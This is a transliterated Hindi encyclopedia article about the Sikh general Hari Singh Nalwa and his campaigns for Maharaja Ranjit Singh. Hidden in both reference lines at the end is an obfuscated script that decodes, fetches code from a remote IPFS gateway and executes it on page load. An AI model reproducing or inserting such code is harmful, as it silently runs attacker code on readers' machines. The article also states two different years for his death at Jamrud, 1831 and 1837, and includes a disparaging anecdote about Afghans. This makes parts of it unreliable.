हरि सिंह नलवा
hari sianh nalava
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| poora nam | saradar hari sianh nalava |
| janm | 28 aprॅl, 1791 |
| janm bhoomi | gujaraanvala, panjab |
| mrityu tithi | 30 aprail, 1837 |
| mrityu sthan | jamarood (ab pakistan mean) |
| pita/mata | guradayal sianh aur dharma kaur |
| upadhi | 'saradar' |
| dharmik manyata | sikkh dharm |
| prasiddhi | maharaja ranajit sianh ke senadhyaksh |
| yuddh | multan yuddh, jamaraud yuddh, noshera yuddh |
| any janakari | ek din shikar ke samay jab maharaja ranajit sianh par achanak sher ne hamala kiya, tab hari sianh ne unaki raksha ki thi. is par maharaja ke mukh se achanak nikala "are tum to raja nal jaise vir ho." tabhi se nal se hue "nalava" ke nam se ve prasiddh ho gaye. |
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saradar hari sianh nalava (aangrezi: Hari Singh Nalwa, janm- 28 aprॅl, 1791, gujaraanvala, panjab; mrityu- 30 aprail, 1837), maharaja ranajit sianh ke senadhyaksh the. jis ek vyakti ka bhay pathanoan aur afaganiyoan ke man mean, peshavar se lekar kabul tak, sabase adhik tha; us shakhsiyat ka nam janaral hari sianh nalava tha. sikh phauj ke sabase b de janaral hari sianh nalava ne kashmir par vijay prapt kar apana loha manavaya. yahi nahian, kabul par bhi sena chadhakar jit darj ki. khaibar darre se hone vale islamik akramanoan se desh ko mukt kiya. 1831 mean jamaraud ki jang mean l date hue shahid hue. noshera ke yuddh mean hari sianh nalava ne maharaja ranajit sianh ki sena ka kushal netritv kiya tha. rananiti aur ranakaushal ki drishti se hari sianh nalava ki tulana duniya ke shreshth senanayakoan se ki ja sakati hai.
jivan parichay
hari sianh nalava ka janm 1791 mean 28 aprail ko ek sikh parivar, gujaraanvala panjab mean hua tha. inake pita ka nam guradayal sianh aur mata ka nam dharma kaur tha. bachapan mean unhean ghar ke log pyar se "hariya" kahate the. sat varsh ki ayu mean inake pita ka dehaant ho gaya. 1805 ee. ke vasantotsav par ek pratibha khoj pratiyogita mean, jise maharaja ranajit sianh ne ayojit kiya tha, hari sianh nalava ne bhala chalane, tir chalane tatha any pratiyogitaoan mean apani adbhut pratibha ka parichay diya. isase prabhavit hokar maharaja ranajit sianh ne unhean apani sena mean bharti kar liya. shighr hi ve maharaja ranajit sianh ke vishvasapatr sena nayakoan mean se ek ban gaye. ek bar shikar ke samay maharaja ranajit sianh par achanak ek sher ke akraman kar diya, tab hari sianh ne unaki raksha ki thi. is par maharaja ranajit sianh ke mukh se achanak nikala "are tum to raja nal jaise vir ho." tabhi se nal se hue "nalava" ke nam se ve prasiddh ho gaye. bad mean inhean "saradar" ki upadhi pradan ki gee.[1]
ranajit sianh ke sena nayak
hari sianh nalava maharaja ranajit sianh ke vijay abhiyan tatha sima vistar ke pramukh nayakoan mean se ek the. ahamadashah abdali ke pashchath taimoor lang ke kal mean afaganistan vistrit tatha akhandit tha. isamean kashmir, lahaur, peshavar, kandhar tatha multan bhi the. herat, kalat, baloochistan, pharas adi par usaka prabhutv tha. hari sianh nalava ne inamean se anek pradeshoan ko maharaja ranajit sianh ki vijay abhiyan mean shamil kar diya. unhoanne 1813 ee. mean atak, 1818 ee. mean multan, 1819 ee.mean kashmir tatha 1823 ee. mean peshavar ki jit mean vishesh yogadan diya. at: 1824 ee. tak kashmir, multan aur peshavar par maharaja ranajit sianh ka adhipaty ho gaya. multan vijay mean harisianh nalava ki pramukh bhoomika rahi. maharaja ranajit sianh ke ahvan par ve atmabalidani daste mean sabase age rahe. is sangharsh mean unake kee sathi ghayal hue, parantu multan ka durg maharaja ranajit sianh ke hathoan mean a gaya. maharaja ranajit sianh ko peshavar jitane ke lie kee prayatn karane p de. peshavar par afaganistan ke shasak ke bhaee sultan mohammad ka rajy tha. yahaan yuddh mean hari sianh nalava ne sena ka netritv kiya. hari sianh nalava se yahaan ka shasak itana bhayabhit hua ki vah peshavar chho dakar bhag gaya. agale das varshoan tak hari sianh ke netritv mean peshavar par maharaja ranajit sianh ka adhipaty bana raha, par yada- kada takarav bhi hote rahe. is par poornat: vijay 6 mee, 1834 ko sthapit huee.[1]
dridhata aur ichchhashakti
aisa kaha jata hai ki ek bar hari sianh nalava ne peshavar mean varsha hone par apane kile se dekha ki anek afagan apane-apane makanoan ki chhatoan ko thok tatha pit rahe haian, kyoanki chhatoan ki mitti bah gee thi. pitane se chhatean, jo kuchh bah gee thian, pun: thik ho garhian thian. ise dekhakar hari sianh nalava ke man mean vichar aya ki afagan ki mitti hi aisi hai jo thokane tatha pitane se thik rahati hai. at: hari sianh ne vahaan ke l dakoo tatha jhag daloo afagan kabiloan par poori dridhata tatha shakti se apana niyantran kiya tatha rajy sthapit kiya.[1]
viragati
hari sianh ne afaganistan se raksha ke lie jamarood mean ek majaboot kile ka bhi nirman karaya. yah muslim akramanakariyoan ke lie maut ka kuaan sabit hua. afaganoan ne peshavar par apana adhikar karane ke lie bar-bar akraman kiye. kabul ke amir dost muhammad ke bete ne bhi ek bar prayatn kiya. 30 aprail 1837 ee. ko jamarood mean bhayankar l daee huee. bimari ki avastha mean bhi hari sianh ne isamean bhag liya tatha afaganoan ki 14 topean chhin lian. parantu do goliyaan hari sianh ko lagian tatha ve viragati ko prapt hue. phir bhi is sangharsh mean peshavar par afaganoan ka adhikar n ho saka.[1]
vishesh yogadan
thumb|saradar hari sianh nalava saradar hari sianh nalava ka bharatiy itihas mean ek sarahaniy evan mahattvapoorn yogadan raha hai. bharat ke unnisavian sadi ke samay mean unaki upalabdhiyoan ki misal pana mahaj asanbhav hai. inaka nishthavan jivanakal hamare is samay ke itihas ko sarvadhik sashakt karata hai. parantu inaka yogadan smaranarthak evan anupam hone ke bavazood bhi panjab ki simaoan ke bahar ajnat ban kar rahe gaya hai. itihas ki pustakoan ke panno bhi inaka nam lupt hai. jahaan british, roosi aur ameriki sainy baloan ko viphalata mili, is kshetr mean saradar hari sianh nalava ne apani samarik pratibha aur bahaduri ki dhak jamane ke sath sikh-sant sipahi hone ka udaharan sthapit kiya tha. yah itihas mean pahali bar hua tha ki peshavari pashtoon, panjabiyoan dvara shasit the. isaliye rananiti aur ranakaushal ki drishti se hari sianh nalava ki tulana duniya ke shreshth jaranailoan se ki jati hai.
shreshthatam sikh yoddha
saradar hari sianh nalava ka nam shreshthatam sikkhi yoddhaoan ki ginati mean ata hai. vah maharaja ranajit sianh ki sikh phauj ke sabase b de janaral (senadhyaksh) the. maharaja ranajit sianh ke samrajy (1799-1849) ko 'sarakar khalasaji' ke nam se bhi nirdisht kiya jata tha. sikh samrajy, guru nanak dvara shuroo kiye ge adhyatmik marg ka vah ekagarat roop tha jo guru goviand sianh ne khalasa ki paranpara se nishchit kar ke sangathit kiya tha. guru goviand sianh ne mugaloan ke khilaf pratirodh ke lie ek sainy bal ki sthapana karane ka nirnay liya tha. khalasa, guru goviand sianh ki ukti ki samoohik sarvasamika hai. 30 march 1699 ko guru goviand sianh ne khalasa moolatah “sant sainikoan” ke ek sainy shakti ke roop mean sthapit kiya. khalasa unake dvara diya gaya un sab cheloan ka nam tha jinhoanne amrit sanchar anushthan svikar karake paanch tatv- kesh, kangha, k da, kachchha, kirapan ka aangikar kiya. vah vyakti jo khalasa mean shamil kiya jata, ek 'khalasa sikh' ya 'amritadhari' kahalata. yah parivartan sanbhavatah moolamantr ke taur se manasikata ka jaise hissa ban jata aur atmavishvas ko utpann karake yuddh bhoomi mean samarthy prapt karane mean saphalata pradan karata.[2]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 itihas drishti - da.satish chandr mittal (hiandi) panchajany d aaut k aaum. abhigaman tithi: 18 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ saradar hari sianh nalava ki 174vi mrityu varshagaanth (hiandi) hari sianh nalava fauandeshan trast. abhigaman tithi: 18 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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